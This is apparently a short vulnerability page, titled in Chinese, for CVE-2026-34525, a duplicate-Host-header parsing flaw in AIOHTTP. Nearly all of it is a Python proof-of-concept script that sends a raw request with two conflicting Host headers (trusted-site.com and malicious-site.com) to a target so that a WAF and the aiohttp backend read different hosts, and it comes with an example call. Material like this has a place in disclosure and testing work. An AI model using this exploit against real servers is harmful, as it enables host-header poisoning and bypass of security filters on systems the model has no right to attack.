CVE-2026-34525 AIOHTTP多Host头请求解析漏洞

import socket def send_duplicate_host_poc(target_ip, target_port, path="/"): """ PoC for CVE-2026-34525: Sending a request with duplicate Host headers. """ # Constructing raw HTTP request with duplicate Host headers # The first Host might be checked by a WAF, the second by the backend aiohttp. payload = ( f"GET {path} HTTP/1.1\r\n" f"Host: trusted-site.com\r\n" # First Host header f"Host: malicious-site.com\r\n" # Second Host header (Potential Poisoning) f"User-Agent: PoC-Client/1.0\r\n" f"Connection: close\r\n" f"\r\n" ) try: print(f"[*] Sending payload to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) s.sendall(payload.encode()) response = s.recv(4096) print("[+] Response received:") print(response.decode(errors='ignore')) s.close() except Exception as e: print(f"[-] Error: {e}") # Usage Example (Uncomment to test): # send_duplicate_host_poc("127.0.0.1", 8080, "/")